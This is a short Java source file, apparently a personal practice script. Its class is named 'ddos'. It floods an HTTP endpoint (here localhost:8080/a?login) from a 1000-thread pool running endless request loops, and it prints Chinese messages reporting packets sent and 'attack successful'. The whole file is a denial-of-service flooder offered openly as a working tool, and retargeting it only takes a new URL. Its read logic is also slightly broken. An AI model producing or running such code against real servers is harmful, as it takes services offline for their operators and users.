package com.jml.controller;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * Created by 94829 on 2018-06-13.
 */
public class ddos {
	public static void main(String[] args) {
		//利用线程池创建1000个线程
		ExecutorService es = Executors.newFixedThreadPool(1000);
		Mythread mythread = new Mythread();
		Thread thread = new Thread(mythread);
		for (int i = 0; i < 10000; i++) {
			es.execute(thread);
		}
	}
}

class Mythread implements Runnable {
	public void run() {
		while (true) {
			try {
				URL url = new URL("http://localhost:8080/a?login");
				URLConnection conn = url.openConnection();
				System.out.println("发包成功！");
				BufferedInputStream bis = new BufferedInputStream(
						conn.getInputStream());
				byte[] bytes = new byte[1024];
				int len = -1;
				StringBuffer sb = new StringBuffer();

				if (bis != null) {
					if ((len = bis.read()) != -1) {
						sb.append(new String(bytes, 0, len));
						System.out.println("攻击成功！");
						bis.close();
					}
				}
			} catch (MalformedURLException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}

		}
	}
}


